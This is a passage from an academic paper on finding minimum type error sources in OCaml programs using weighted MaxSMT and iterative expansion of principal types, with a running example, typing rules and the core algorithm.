in such a way that all potential error sources involving the defi-
nition of an abstracted function are represented by a single error
source whose cost is smaller or equal to the cost of all these po-
tential error sources. The algorithm then iteratively computes min-
imum error sources for abstracted constraints. If an error source
involves a usage of a polymorphic function, the corresponding in-
stantiations of the principal type of that function are expanded to
the actual typing constraints. Usages of polymorphic functions that
are exposed by the new constraints are expanded if they are rel-
evant for the minimum error source in the next iteration. The al-
gorithm eventually terminates when the computed minimum error
source no longer involves any usages of abstracted polymorphic
functions. Such error sources are guaranteed to have minimum cost
for the fully expanded constraints, even if the final constraint is not
yet fully expanded.

We have implemented our algorithm targeting OCaml [22] and
evaluated it on benchmarks for type error localization [17] as well
as code taken from a larger OCaml application. We used Easy-
OCaml [13] for generating typing constraints and the MaxSMT
solver νZ [6, 7, 11] for computing minimum error sources. We
found that our implementation efficiently computes the minimum
error source in our experiments for a typical usefulness criterion
taken from [24]. In particular, our algorithm is able to compute min-
imum error sources for realistic programs in seconds, compared to
several minutes for the naive algorithm and other approaches. Also,
on our benchmarks, the new algorithm avoids the exponential ex-
plosion in the size of the generated constraints that we observe in
the naive algorithm.
Related Work. The formulation of type error localization as an
optimization problem follows our previous work [24]. There, we
presented the naive implementation of the search algorithm. Other
work on type error localization is not directly comparable to ours.
Most closely related is the work by Zhang and Myers [33, 34]
where type error localization is cast as a graph analysis problem.
Their approach, however, does not address the issue of constraint
explosion, which here manifests as an explosion in the size of the
generated graphs. In fact, our algorithm is faster than their imple-
mentation on the same benchmarks: while their tool runs over a
minute for some programs, our algorithm always finishes in a just
of a couple of seconds. Consequently, for larger problem instances
with a couple of thousands of lines of code their implementation
runs out of memory. Our algorithm, on the other hand, finishes in
less than 50 seconds. The majority of the remaining work on type
error localization is concerned with different definitions and no-
tions of usefulness criteria [8, 9, 12, 14, 21, 31, 32]. In our previ-
ous work, we gave experimental evidence that our approach yields
better error sources than the OCaml compiler even for a relatively
simple cost function. The work in this paper is orthogonal because
it focuses on practical algorithms for computing a minimum error
source subject to an arbitrary cost function.
Contributions. Our contributions can be summarized as follows:

• We present a new algorithm that uses SMT techniques to effi-
ciently find the minimum error source in a given ill-typed pro-

gram. The algorithm works for an arbitrary cost function which
encodes the usefulness criterion for ranking error sources.
• We have implemented the algorithm and showed that it scales

to programs of realistic size.
• To our knowledge, this is the first algorithm for type error

localization that gives formal optimality guarantees and has the
potential to be usable in practice.

2. Overview
In this section we provide an overview of our approach through an
illustrative example. We start by describing type error localization
as an optimization problem and then exemplify the workings of our
algorithm that efficiently solves the problem.

2.1 Example
Our running OCaml example is as follows:

1 let first (a, b, _) = a
2 let second (a, b, _) = b
3 let f x =
4 let first_x = first x in
5 let second_x = int_of_string (second x) in
6 first_x + second_x
7 f ("1", "2", f ("3", "4", 5))

This program is not well-typed. While polymorphic functions
first, second, and f do not have any type errors, the calls to
f on line 7 are ill-typed. The inner call to f is passed a triple having
the string "3" as its first member, whereas an integer is expected.
The standard OCaml compiler [22] reports this type error to the
programmer blaming expression "1" on line 7 as the source of the
error (OCaml version 4.01.0). However, perhaps the programmer
made a mistake by calling function first on line 4 or maybe she
incorrectly defined first on line 1. Maybe the programmer should
have wrapped this call with a call to int of string just as she has
done on line 5. The OCaml compiler disregards such error sources.

2.2 Finding Minimum Error Sources
In our previous work [24], we formulated type error localization
as an optimization problem of finding an error source that is con-
sidered most useful for the programmer. The criterion for useful-
ness is provided by the compiler. We define an error source to be
a set of program expressions that, once fixed, make the program
well-typed. A usefulness criterion is a function from program ex-
pressions to positive weights. A minimum error source is an er-
ror source with minimum cumulative weight. It corresponds to the
most useful error source. To make this more clear, consider a use-
fulness criterion where each expression is assigned a weight equal
to the size of the expression, represented as an abstract syntax tree
(AST). In the example, expression first on line 4 is a singleton
error source of weight 1 as replacing it by a function of a type that
is an instance of the polymorphic type

∀α.fun(string ∗ string ∗ α, int),
makes the program well-typed, say int of string ◦ first. Sim-
ilarly, replacing the expression a on line 1 with (int of string
a) also resolves the type error. Loosely speaking, the error sources
that are minimum subject to the AST size criterion require the
fewest corrections to fix the error. The two error sources described
above are minimum error sources since their cumulative weight is
1, which is minimum for this program and criterion. In contrast, we
could abstract the entire application first x on the same line to
get a well typed program. Thus first x is also an error source,
but it is not minimum as its weight is 3 according to its AST size
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(first, x, and function application). Note that "1" on line 7 on
its own is not an error source according to our definition. If one
abstracts "1", this does not yield a well typed program since the
expression "3" on line 7 would still lead to a failure. Abstracting
both {"1", "3"} is an error source with cumulative weight 2. Ob-
serve that there is a clean separation between searching for a min-
imum error source and the definition of the usefulness criterion.
This allows easy prototyping of various criteria without modifying
the compiler infrastructure. A more detailed discussion of potential
usefulness criteria can be found in [24].

2.3 Abstraction by Principal Types
A potential obstacle to adopting this approach is that compilers
now need to solve an optimization problem instead of a decision
problem. This is particularly problematic since type checking for
polymorphic type systems is EXPTIME complete [16, 19]. This
high complexity manifests in an exponential number of generated
typing constraints. For instance, consider the typing constraints for
the function second:

αsecond = fun(αi, αo) [Def. of second] (1)
αi = triple(αa, αb, α ) (a, b, _) (2)
αo = αb b (3)

The above constraints state that the type of second, represented by
the type variable αsecond, is a function type (1) that accepts some
triple (2) and returns a value whose type is equal to the type of the
second component of that triple (3). When a polymorphic function,
such as second, is called in the program, the associated set of typ-
ing constraints needs to be instantiated and the new copy has to be
added to the whole set of typing constraints. Instantiation of typ-
ing constraints involves copying the constraints and replacing free
type variables in the copy with fresh type variables. In our exam-
ple, each call to second in f is accounted for by a fresh instance of
αsecond and the whole set of associated typing constraints is copied
and instantiated by replacing the type variable αsecond with a fresh
type variable. If the constraints of polymorphic function were not
freshly instantiated for each usage of the function, the same type
variable would be constrained by the context of each usage, poten-
tially resulting in a spurious type error.

Instantiation of typing constraints as described above leads to an
explosion in the total number of generated constraints. For instance,
the typing constraints for each call to f are instantiated twice. Each
of these copies in turn includes a fresh copy of the constraints asso-
ciated with each call to second and first in f. Hence, the num-
ber of typing constraints can grow exponentially, to the point where
the whole approach becomes impractical. To alleviate this problem,
compilers first solve the typing constraints for each polymorphic
function to get their principal types. Intuitively, the principal type
is the most general type of an expression [10]. Then, each time the
function is used only its principal type is instantiated, instead of the
whole set of associated typing constraints.

In the example, when typing the line 7, the typing environment
contains principal types for first, second, and f (given as com-
ments below).

1 ; first : ∀αa, αb, αc. fun(αa ∗ αb ∗ αc, αa)
2 ; second : ∀αa, αb, αc. fun(αa ∗ αb ∗ αc, αb)
3 ; f : ∀αa. fun(int ∗ string ∗ αa, int)
4 f ("1", "2", f ("3", "4", 5))

The bodies of the three bound variables and the typing constraints
within the bodies are effectively abstracted at this point. Type
inference instantiates the principal type of f,

f : ∀α.fun(int ∗ string ∗ α, int),

Pfirst 1
Psecond 1
Pf 1
αf1 = fun(αi1, αo1) 11
Pf ⇒ αf1 = fun(int ∗ string ∗ α′, int) 1
αi1 = α"1" ∗ α"2" ∗ αapp 9
α"1" = string 1
α"2" = string 1
αapp = αo2 6
αf2 = fun(αi2, αo2) 6
Pf ⇒ αf2 = fun(int ∗ string ∗ α′′, int) 1
αi2 = α"4" ∗ α"5" ∗ α6 4
α"4" = string 1
α"5" = string 1
α6 = int 1

Figure 1. Typing constraints and weights for the first iteration of
the localization algorithm.

but this will fail to unify with the argument to f which has type
string * string * int.

The principal type technique for avoiding the constraint explo-
sion works very well in practice for the decision problem of type
checking. However, we will need to adapt it in order to work with
the optimization problem of searching for a minimum error source.
When the search algorithm checks whether a set of expressions is
an error source, it checks satisfiability of the typing constraints that
have been generated for the whole program, where the constraints
for the expressions in the potential error source have been removed.
If we directly use the principal type as an abstraction of the function
body, we potentially miss some error sources that involve expres-
sions in the abstracted function body. To illustrate this point, con-
sider the principal type abstraction of our example program above.
The application of the expression first at line 4 has in effect been
abstracted from the program and cannot be reported as an error
source, although it is in fact minimum. In general, fixing an error
source in a function definition can change the principal type of that
function. The search algorithm must take such changes into account
in order to identify the minimum error sources correctly. In our run-
ning example, a generic fix to the call to function first at line 4
results in the principal type of f being:

∀αa, αb.fun(αa ∗ string ∗ αb, int).

Additionally, principal types may not exist for some expressions
in an ill-typed program. The algorithm needs to handle such cases
gracefully.

2.4 Approach
Our solution to this problem is an algorithm that finds a minimum
error source by expanding the principal types of polymorphic func-
tions iteratively. We first compute principal types for each let-bound
variable whenever possible. We begin our search assuming that
none of the usages of the variables whose principal types could be
computed are involved in a minimum error source. Each principal
type is assigned the minimum weight of all constraints in the as-
sociated let definition, conservatively approximating the potential
minimum error sources that involve these constraints.

In our example, this results in exactly the same abstraction of
the program as before, and the weights of f, first and second
are all 1. We write the proposition that the principle type for foo
is correct as Pfoo . Typing for each call to f is represented with a
fresh instance of the corresponding principal type. Each usage of f
is marked as depending on the principal type for f, and is guarded
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by Pf . Figure 1 gives the typing constraints and the weight of each
constraint.1

The above set of constraints is unsatisfiable. The minimum error
source for these constraints is to relax the constraint for Pf. This
indicates that we cannot rely on the principal type for f to find the
minimum error source for the program. We relax the assumption
that Pf is true, and include the body for f in our next iteration. This
next iteration is effectively analyzing the program:

1 ; first : ∀αa, αb, αc. fun(αa ∗ αb ∗ αc, αa)
2 ; second : ∀αa, αb, αc. fun(αa ∗ αb ∗ αc, αb)
3 let f x =
4 let first_x = first x in
5 let second_x = int_of_string (second x) in
6 first_x + second_x
7 f ("1", "2", f ("3", "4", 5))

Here, typing for each usage of first and second is represented
by fresh instances of the corresponding principal types. As in the
previous iteration, we again compute a minimum error source and
decide whether further expansions are necessary. In the next iter-
ation, the unique minimum error source of the new abstraction is
the application of first on line 4, which is also a minimum error
source of the whole program. Note that this new minimum error
source does not involve any expressions with unexpanded principal
types. Hence, we can conclude that we have found a true mini-
mum error source and our algorithm terminates. That is, the algo-
rithm stops before the principal types for second and first have
been expanded. The procedure only expands the usages of those
polymorphic functions that are involved in the error when neces-
sary, thus lazily avoiding the constraint explosion. This is sound
because of the conservative abstraction of potential error sources in
the unexpanded definitions. In our running example, we can con-
clude from the constraints of the final iteration that fixing second
does not resolve the error and fixing first is not cheaper than just
fixing the call to first (Pfirst is an error source of weight 1 but so
is the call to first). Hence, the algorithm yields a correct result.

The search for a minimum error source in each iteration is
performed by a weighted partial MaxSMT solver. In Section 3, we
provide the formal definitions of the problem of finding minimum
error sources and the weighted partial MaxSMT problem. Section 4
describes the iterative algorithm that reduces the former problem to
the later and argues its correctness. In Section 5, we present our
experimental evaluation.

3. Background
We recall in this section the minimum error source §3.3 problem
from [24] as well as our targeted language §3.1 and type sys-
tem §3.2. We also describe the satisfiability §3.4, MaxSAT §3.5,
and MaxSMT §3.6 problems used to solve the minimum error
source problem in §4.

3.1 Language
Our presentation is based on an idealized lambda calculus, called
λ⊥, with let polymorphism, conditional branching, and special
value ⊥ called hole. Holes allow us to create expressions that have

1 This is slightly simplified from the actual encoding in §4.

the most general type (§3.2).

Expressions e ::= x variable
| v value
| e e application
| if e then e else e conditional
| let x = e in e let binding

Values v ::= n integers
| b Booleans
| λx. e abstraction
| ⊥ hole

Values in the language include integer constants, n ∈ Z, Boolean
constants, b ∈ B, and lambda abstractions. The let bindings allow
for the definition of polymorphic functions. We assume an infinite
set of program variables, x, y, . . .. Programs are expressions in
which no variable is free. The reader may assume the expected
semantics (with ⊥ acting as an exception).

3.2 Types
Every type in λ⊥ is a monotype or a polytype.

Monotypes τ ::= bool | int | α | τ → τ

Polytypes σ ::= τ | ∀α.σ
A monotype τ is either a base type bool or int, a type variable α, or
a function type τ → τ . The ground types are monotypes in which
no type variable occurs.

A polytype is either a monotype or the quantification of a
type variable over a polytype. A polytype σ can always be writ-
ten ∀α1. · · · ∀αn.τ where τ is a monotype or in shorthand, ∀~α.τ .
The set of free type variables in σ is denoted fv(σ). We write
σ[τ1/α1, . . . , τn/αn] for capture-avoiding substitution in σ of
free occurrences of the type variable αi by the monotype τi. We
uniformly shorten this to σ[τi/αi] to denote n-ary substitution.
The polytype ∀~α.τ is considered to represent all types obtained
by instantiating the type variables ~α by ground monotypes, e.g.
τ [τi/αi]. Finally, the polytype σ = ∀~α.τ has a generic instance
σ′ = ∀~β.τ ′ if τ ′ = τ [τi/αi] for some monotypes τ1, . . . , τn and
~β 6∈ fv(σ).

Like other Hindley-Milner type systems, type inference is de-
cidable for λ⊥. A typing environment Γ is a mapping of variables
to types. We denote by Γ ` e : τ the typing judgment that the
expression e has type τ under a typing environment Γ. The free
variables of Γ are denoted as fv(Γ). A program p is well typed iff
the empty typing environment ∅ can infer a type for p, ∅ ` p : σ.

Figure 2 gives the typing rules for λ⊥. The [HOLE] rule is non-
standard and states that the expression ⊥ has the polytype ∀α.α.
During type inference, the rule [HOLE] assigns to each usage of ⊥
a fresh unconstrained type variable. Hole values may always safely
be used without causing a type error. We may think of ⊥ in two
ways: as exceptions in OCaml [17], or as a place holder for another
expression. In §3.3, we abstract sub-expressions in a program p as
⊥ to obtain a new program p′ that is well typed.

3.3 Minimum Error Source
The objective of this paper is the problem of finding a minimum
error source for a given program p subject to a given cost func-
tion [24]. The problem formalizes the process of replacing ill typed
subexpressions in a program p by⊥ to get a well typed program p′

and associates a cost to each such transformation.
A location ` in a λ⊥ expression e is a path in the abstract

syntax tree of e starting at the root of e. The set of all locations
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x : ∀~α.τ ∈ Γ ~β new

Γ ` x : τ [~β/~α]
[VAR] Γ ` e1 : τ1 → τ2 Γ ` e2 : τ1

Γ ` e1 e2 : τ2
[APP] b ∈ B

Γ ` b : bool
[BOOL]

Γ.x : τ1 ` e : τ2
Γ ` λx.e : τ1 → τ2

[ABS]
Γ ` e1 : bool Γ ` e2 : τ Γ ` e3 : τ

Γ ` if e1 then e2 else e3 : τ
[COND] n ∈ Z

Γ ` n : int
[INT]

Γ ` e1 : τ1 Γ.x : ∀~α.τ1 ` e2 : τ2 ~α = fv(τ1) \ fv(Γ)

Γ ` let x = e1 in e2 : τ2
[LET] α new

Γ ` ⊥ : α
[HOLE]

Figure 2. Typing rules for λ⊥

of an expression e in a program p is denoted Locp(e). We omit
the subscript p when the program is clear from the context. Each
location ` uniquely identifies a subexpression e(`) within e. When
an expression e′ is clear from the context (typically e′ is the whole
program p), we write e` to denote that e is at a location ` in e′.
Similarly, we write Loc(`) for Loc(e′(`)).

The mask function mask takes an expression e and a location
` ∈ Loc(e) and produces the expression where e(`) is replaced
by ⊥ in e. (Note that mask(e, `) also masks any subexpression of
e(`).) We extend mask to work over an expression e and a set of
locations L ⊆ Loc(e).

Definition 1 (Error source). Let p be a program. A set of locations
L ⊆ Loc(p) is an error source of p if mask(p, L) is well typed.

A cost function is a mapping R from a program p to a par-
tial function that assigns a positive weight to locations, R(p) :
Loc(p) ⇀ N+. A location ` that is not in the domain of R(p)
is considered to be a hard constraint, ` 6∈ dom(R(p)). Hard con-
straints provide a way for R to specify that a location ` is not con-
sidered to be a source of an error. We require that a location cor-
responding to the root node of the program AST cannot be set as
hard. In other words, for all programs p and cost functions R it
must be that p(`) = p =⇒ ` ∈ dom(R(p)). This way, we make
sure that there is always at least one error source for an ill-typed
program: the one that masks the whole program.

Cost functions are extended to a set of locations L in the natural
way:

R(p)(L) =
∑

`∈L,`∈dom(R(p))

R(p)(`) . (4)

The minimum error sources are the sets of locations that are error
source and minimize a given cost function.

Definition 2 (Minimum error source). An error source L ⊆
Loc(p) for a program p is a minimum error source with re-
spect to a cost function R if for any other error source L′ of p
R(p)(L) ≤ R(p)(L′).

In our previous paper [24], we used a slightly more restrictive
definition of error source. Namely, we required that an error source
must be minimal, i.e., it does not have a proper subset that is also
an error source. The above definitions imply that a minimum error
source is also minimal since we require that the weights assigned
by cost functions are positive.

3.4 Satisfiability
The classic CNF-SAT problem takes as input a finite set of proposi-
tional clauses C. A clause is a finite set of literals, which are propo-
sitional variables or negations of propositional variables. A propo-
sitional model M assigns all propositions into {true, false}. An
assignment M is said to satisfy a propositional variable P , written

M |= P , ifM maps P to true. Similarly,M |= ¬P ifM maps P
to false. A clause C is satisfied by M if at least one literal in C is
satisfied. The CNF-SAT problem asks if there exists a propositional
model M that satisfies all clauses in C simultaneously M |= C.

3.5 MaxSAT and Variants
The MaxSAT problem takes as input a finite set of propositional
soft clauses CS and finds a propositional model M that maximizes
the number of clausesK that are simultaneously satisfied [18]. The
partial MaxSAT problem adds a set of hard clauses CH that must
be satisfied. The weighted partial MaxSAT (WPMaxSAT) problem
additionally takes a map w from soft clauses to positive integer
weights and produces assignments of maximum weight:

WPMaxSAT(CH , CS , w) =
maximize

∑
c∈C w(c) where M |= C ∪ CH and C ⊆ CS

(5)

3.6 SMT & MaxSMT
The weighted partial MaxSMT problem (WPMaxSMT) is formal-
ized by directly lifting the WPMaxSAT formulation to Satisfiabil-
ity Modulo Theories (SMT) [2]. The SMT problem takes as input
a finite set of assertions Φ where each assertion is a first-order for-
mula. The functions and predicates in the assertions are interpreted
according to a fixed first-order theory T . The theory T enforces
the semantics of the functions to behave in a certain fashion by re-
stricting the class of first-order models. A first-order model M , in
addition to assigning variables to values in a domain, assigns se-
mantics to the function symbols over the domain. As an example,
the theory of linear real arithmetic enforces the domain to be the
mathematical real numbers R and the built-in function symbol +
to behave as the mathematical plus function. The model M is said
to satisfy a formula φ, written again as M |= φ, if φ evaluates to
true in M . We consider a theory T to be a class of models. A for-
mula (or finite set of formulas) is satisfiable modulo T , written as
M |=T φ, if there is a model M such that M ∈ T and M |= φ.2

Most concepts directly generalize from MaxSAT to MaxSMT:
satisfiability is now modulo the models of T , and soft and hard
clauses are now over T -literals. Many SMT solvers are organized
around adding T -valid formulas, known as theory lemmas, into L
to refine the search. (Thus L still only contains formulas entailed
by Φ.) The optimization formulation of WPMaxSMT is nearly
identical to (5):

WPMaxSMT(ΦH ,ΦS , w) =
maximize

∑
c∈Φ w(c) where M |=T Φ ∪ ΦH and Φ ⊆ ΦS

(6)

2 This informal introduction ignores many aspects of SMT such as non-
standard models for the theory of reals.
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We reduce computing minimum error sources to solving WP-
MaxSMT problems. We first generate typing constraints from the
given input program that are satisfiable iff the input program is well
typed. We then specify the weight function w by labeling a subset
of the assertions according to the cost function R.

3.7 Theory of Inductive Datatypes
The theory of inductive data types [3] allows us to compactly ex-
press the needed typing constraints. The theory allows for users to
define their own inductive data types and state equality constraints
over the terms of that data type. We define an inductive data type
Types that represents the ground monotypes of λ⊥:

t ∈ Types ::= int | bool | fun(t, t) (7)

Here, the term constructor fun is used to encode the ground func-
tion types. The models of the theory of inductive data types forces
the interpretation of the constructors in the expected fashion. For
instance:

1. Different constructors produce disequal terms.

int 6= bool, ∀α, β.bool 6= fun(α, β) ∧ int 6= fun(α, β)

2. Every term is constructed by some constructor.

t = bool ∨ t = int ∨ ∃α, β.t = fun(α, β)

3. The constructors are injective.

∀α, β, γ, δ ∈ Types. fun(α, β)= fun(γ, δ)⇒ α=γ ∧ β=δ

Thus, the theory enforces that the ground monotypes of λ⊥ are
faithfully interpreted by the terms of Type.

To support typing expressions such as (a, b, ) and others found
in realistic languages, we extend Types in (7) with additional type
constructors, e.g., product(t, t), to encode product types τ1 ∗ τ2
and user-defined algebraic data types. This pre-processing pass is
straightforward but outside of the scope of this paper.

4. Algorithm
We now introduce a refinement of the typing relation used in [24]
to generate typing constraints. The novelty of this new typing
relation is the ability to specify a set of variable usage locations
whose typing constraints are abstracted as the principal type of the
variable. We then describe an algorithm that iteratively uses this
typing relation to find a minimum error source while expanding
only those principal type usages that are relevant for the minimum
source.

4.1 Notation and Setup
Standard type inference implementations handle expressions of the
form let x = e1 in e2 by computing the principal type of e1,
binding x to the principal type σp in the environment Γ.x : σp,
and proceeding to perform type inference on e1 [10]. Given an
environment Γ, the type σp is the principal type for e if Γ ` e : σp

and for any other σ such that Γ ` e : σ then σ is a generic instance
of σp. Note that a principal type is unique, subject to e and Γ, up to
the renaming of bound type variables in σp.

We now introduce several auxiliary functions and sets that we
use in our algorithm. We define ρ to be a partial function accepting
an expression e and a typing environment Γ where ρ(Γ, e) returns
a principal type of e subject to Γ. If e is not typeable in Γ, then
(Γ, e) 6∈ dom(ρ). Next, we define a mapping Uloc for the usage
locations of a variable. Formally, Uloc is a partial function such
that given a location ` of a let variable definition and a program p
returns the set Ulocp(`) of all locations where this variable is used
in p. Note that a location of a let variable definition is a location
corresponding to the root of the defining expression. We also make

use of a function for the definition location dloc. The function dloc
reverses the mapping of Uloc for a variable usage. More precisely,
dloc(p, `) returns the location where the variable appearing at `
was defined in p. Also, for a set of locations L we define Vloc(`)
to be the set of all locations in Loc(`) that correspond to usages of
let variables.

For the rest of this section, we assume a fixed program p for
which the above functions and sets are precomputed. We do not
provide detailed algorithms for computing these functions since
they are either straightforward or well-known from the literature.
For instance, the ρ function can be implemented using the classical
W algorithm [10].

4.2 Constraint Generation
The main idea behind our algorithm, described in Section 4.4, is to
iteratively discover which principal type usages must be expanded
to compute a minimum error source. The technical core of the
algorithm is a new typing relation that produces typing constraints
subject to a set of locations where principal type usages must be
expanded.

We use Φ to denote a set of logical assertions in the signature
of Types that represent typing constraints. Henceforth, when we
refer to types we mean terms over Types. Expanded locations are
a set of locations L such that L ⊆ Loc(p). Intuitively, this is a set
of locations corresponding to usages of let variables x where the
typing of x in the current iteration of the algorithm is expanded into
the corresponding typing constraints. Those locations of usages of
x that are not expanded will treat x using its principal type. We
also introduce a set of locations whose usages must be expanded
L0. We will always assume L0 ⊆ L. Formally, L0 is the set
of all program locations in p except the locations of well-typed
let variables and their usages. This definition enforces that usages
of variables that have no principal type are always expanded. In
summary, L0 ⊆ L ⊆ Loc(p).

We define a typing relation `L over (Π,Γ, e, α,Φ) which is
parameterized by L. The relation is given by judgments of the form:

Π,Γ `L e : α | Φ.

Intuitively, the relation holds iff expression e in p has type α under
typing environment Γ if we solve the constraints Φ for α. (We
make this statement formally precise later.) The relation depends
on L, which controls whether a usage of a let variable is typed
by the principal type of the let definition or the expanded typing
constraints of that definition.

For technical reasons, the principal types are computed in tan-
dem with the expanded typing constraints. This is because both the
expanded constraints and the principal types may refer to type vari-
ables that are bound in the environment, and we have to ensure that
both agree on these variables. We therefore keep track of two sepa-
rate typing environments:

• the environment Π binds let variables to the principal types
of their defining expressions if the principal type exists with
respect to Π, and
• the typing environment Γ binds let variables to their expanded

typing constraints (modulo L).

The typing relation ensures that the two environments are kept
synchronized. To properly handle polymorphism, the bindings in
Γ are represented by typing schemas:

x : ∀~α.(Φ V α)

The schema states that x has type α if we solve the typing con-
straints Φ for the variables ~α. To simplify the presentation, we also
represent bindings in Π as type schemas. Note that we can repre-
sent an arbitrary type t by the schema ∀α.({α = t} V α) where
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Π.x : α,Γ.x : α `L e : β | Φ γ new

Π,Γ `L (λx.e)` : γ | {T` ⇒ ({γ = fun(α, β)} ∪ Φ)}
[A-ABS]

Π,Γ `L e1 : α | Φ1 Π,Γ `L e2 : β | Φ2 γ new

Π,Γ `L (e1 e2)` : γ | {T` ⇒ ({α = fun(β, γ)} ∪ Φ1 ∪ Φ2)}
[A-APP]

Π,Γ `L e1 : α1 | Φ1 Π,Γ `L e2 : α2 | Φ2 Π,Γ `L e3 : α3 | Φ3 γ new

Π,Γ `L (if e`11 then e`22 else e`33 )` : γ | {T` ⇒ ({(T`1 ⇒ α1 = bool), (T`2 ⇒ α2 = γ), (T`3 ⇒ α3 = γ)} ∪ Φ1 ∪ Φ2 ∪ Φ3)}
[A-COND]

α new
Π,Γ `L ⊥ : α | ∅

[A-HOLE]
b ∈ B α new

Π,Γ `L b` : α | {T` ⇒ α = bool}
[A-BOOL]

n ∈ Z α new
Π,Γ `L n` : α | {T` ⇒ α = int}

[A-INT]

` ∈ L x : ∀~α.(Φ V α) ∈ Γ ~β, γ new

Π,Γ `L x` : γ | {T` ⇒ ({γ = α[~β/~α]} ∪ Φ[~β/~α])}
[A-VAR-EXP]

` 6∈ L x : ∀~α.(Φ V α) ∈ Π ~β, γ new

Π,Γ `L x` : γ | {T` ⇒ ({γ = α[~β/~α]} ∪ Φ[~β/~α])}
[A-VAR-PRIN]

`1 ∈ L

Π,Γ `L e1 : α1 | Φ1 ~α = fv(Φ1) \ fv(Γ) τexp = ∀~α.(Φ1 V α1)

Π,Γ.x : τexp `L e2 : α2 | Φ2
~β, γ new

Π,Γ `L (let x = e`11 in e2)` : γ | {T` ⇒ ({γ = α2} ∪ Φ1[~β/~α] ∪ Φ2)}
[A-LET-EXP]

`1 6∈ L

ρ(Π, e1) = ∀~δ.τp α new τprin = ∀α,~δ.({P`1 ⇒ α = τp}V α)

Π,Γ `L e1 : α1 | Φ1 ~α = fv(Φ1) \ fv(Γ) τexp = ∀~α.(Φ1 V α1)

Π.x : τprin, Γ.x : τexp `L e2 : α2 | Φ2
~β, γ new

Π,Γ `L (let x = e`11 in e2)` : γ | {T` ⇒ ({γ = α2} ∪ Φ1[~β/~α] ∪ Φ2)}
[A-LET-PRIN]

Figure 3. Rules defining the constraint typing relation for λ⊥

α /∈ fv(t). The symbol V is used here to suggest, but keep syntacti-
cally separate, the notion of logical implication⇒ that is implicitly
present in the schema.

The typing relation Π,Γ `L e : α | Φ is defined in Figure 3. It
can be seen as a constraint generation procedure that goes over an
expression e at location ` and generates a set of typing constraints
Φ. For the purpose of computing error sources, we associate with
each location ` a propositional variable T`. The location ` is in the
computed error source iff the variable T` is assigned to false. This
is also reflected in the typing constraints. All typing constraints
added at location ` are guarded by the variable T`. That is, the
clauses ϕn in the constraint generated for an expression e`n with a
subexpression at location `1 have the rough form:

T`n ⇒ · · · ⇒ T`1 ⇒ α1 = t

where α1 = t is the typing constraint on the subexpression `1. The
T`i are the propositional variables associated with the locations
on the path from `n to `1 in the abstract syntax tree. Only if
T`n , . . . , T`1 are all true, is the constraint α1 = t active. If any
of the variables T`i is false, ϕn is trivially satisfied. This captures
the fact that the typing constraint of the subexpression at `1 should
be disregarded if any of the expressions e`i in which it is contained
are part of the error source (i.e., e`i is replaced by a hole expression,
and with it e1).

The rules A-LET-PRIN and A-LET-EXP govern the computa-
tion and binding of typing constraints and principal types for let
definitions (let x = e`11 in e2)`. If e1 has no principal type un-
der the current environment Π, then `1 ∈ L by the assumption that
L0 ⊆ L. Thus, when rule A-LET-PRIN applies, ρ(Π, e1) is de-
fined. The rule then binds x in Π to the principal type and binds x
in Γ to the expanded typing constraints obtained from e1.

The [A-LET-PRIN] rule binds x in both Π and Γ as it is possible
that in the current iteration some usages of x need to be typed with
principal types and some with expanded constraints. For instance,
our algorithm can expand usages of a function, say f , in the first
iteration, and then expand all usages of, say g, in the next iteration.
If g’s defining expression in turn contains calls to f , those calls will
be typed with principal types. This is done because there may exist
a minimum error source that does not require that the calls to f in
g are expanded.

After extending the typing environments, the rule recurses to
compute the typing constraints for the body e2 with the extended
environments. Note that the rule introduces an auxiliary proposi-
tional variable P`1 that guards all the typing constraints of the prin-
cipal type before x is bound in Π. This step is crucial for the cor-
rectness of the algorithm. We refer to the variables as principal
type correctness variables. That is, if P`1 is true then this means
that the definition of the variable bound at `1 is not involved in the
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minimum error source and the principal type safely abstracts the
associated unexpanded typing constraints.

The rule A-LET-EXP applies whenever `1 ∈ L. The rule is
almost identical to the A-LET-PRIN rule, except that it does not
bind x in Π to τprin (the principal type). This will have the effect
that for all usages of x in e2, the typing constraints for e1 to which x
is bound in Γ will always be instantiated. By the way the algorithm
extends the set L, `1 ∈ L implies that `1 ∈ L0, i.e., the defining
expression of x is ill-typed and does not have a principal type.

The A-VAR-PRIN rule instantiates the typing constraints of the
principal type of a let variable x if x is bound in Π and the
location of x is not marked to be expanded. Instantiation is done by
substituting the type variables ~α that are bound in the schema of the
principle type with fresh type variables ~β. The A-VAR-EXP rule is
again similar, except that it handles all usages of let variables that
are marked for expansion, as well as all usages of variables that are
bound in lambda abstractions.

The remaining rules are relatively straightforward. The rule
A-ABS is noteworthy as it simultaneously binds the abstracted
variable x to the same type variable α in both typing environments.
This ensures that the two environments consistently refer to the
same bound type variables when they are used in the subsequent
constraint generation and principal type computation within e.

4.3 Reduction to Weighted Partial MaxSMT
Given a cost function R for program p and a set of locations L
where L0 ⊆ L, we generate a WPMaxSMT instance I (p,R,L) =
(ΦH ,ΦS , w) as follows. Let Φp,L be a set of constraints such that
∅, ∅ `L p : α | Φp,L for some type variable α. Then define

ΦH = Φp,L ∪ {T` | ` /∈ dom(R(p)) } ∪ PDefs(p)

ΦS = {T` | ` ∈ dom(R(p)) }
w(T`) = R(p)(`), for all T` ∈ ΦS

The set of assertions PDefs(p) contains the definitions for the
principal type correctness variables P`. For a let variable x that
is defined at some location `, the variable P` is defined to be true
iff

• each location variable T`′ for a location `′ in the defining
expression of x is true, and
• each principal type correctness variable P`′ for a let variable

that is defined at `′ and used in the defining expression of x is
true.

Formally, PDefs(p) defines the set of formulas

PDefs(p) = {PDef ` | ` ∈ dom(Ulocp) }

PDef ` =

P` ⇔
∧

`′∈Loc(`)

T`′ ∧
∧

`′∈Vloc(`)

Pdloc(`′)


Setting the P` to false thus captures all possible error sources
that involve some of the locations in the defining expression of x,
respectively, the defining expressions of other variables that x de-
pends on. Recall that the propositional variable P` is used to guard
all the instances of the principal types of x in Φp,L. Thus, setting
P` to false will make all usage locations of xwell-typed that have
not yet been expanded and are thus constrained by the principal
type. By the way P` is defined, the cost of setting P` to false
will be the minimum weight of all the location variables for the
locations of x’s definition and its dependencies. Thus, P` conser-
vatively approximates all the potential minimum error sources that
involve these locations.

We denote by SOLVE the procedure that given p, R, and L
returns some model M that is a solution of I (p,R,L).

Algorithm 1 Iterative algorithm for computing a minimum error
source

1: procedure ITERMINERROR(p,R)
2: L← L0

3: loop
4: M ← SOLVE(p,R,L)
5: Lu ← Usages(p,L,M)
6: if Lu ⊆ L then
7: return LM

8: end if
9: L← L ∪ Lu

10: end loop
11: end procedure

Lemma 1. SOLVE is total.

Lemma 1 follows from our assumption that R is defined for the
root location `p of the program p. That is, I (p,R,L) always has
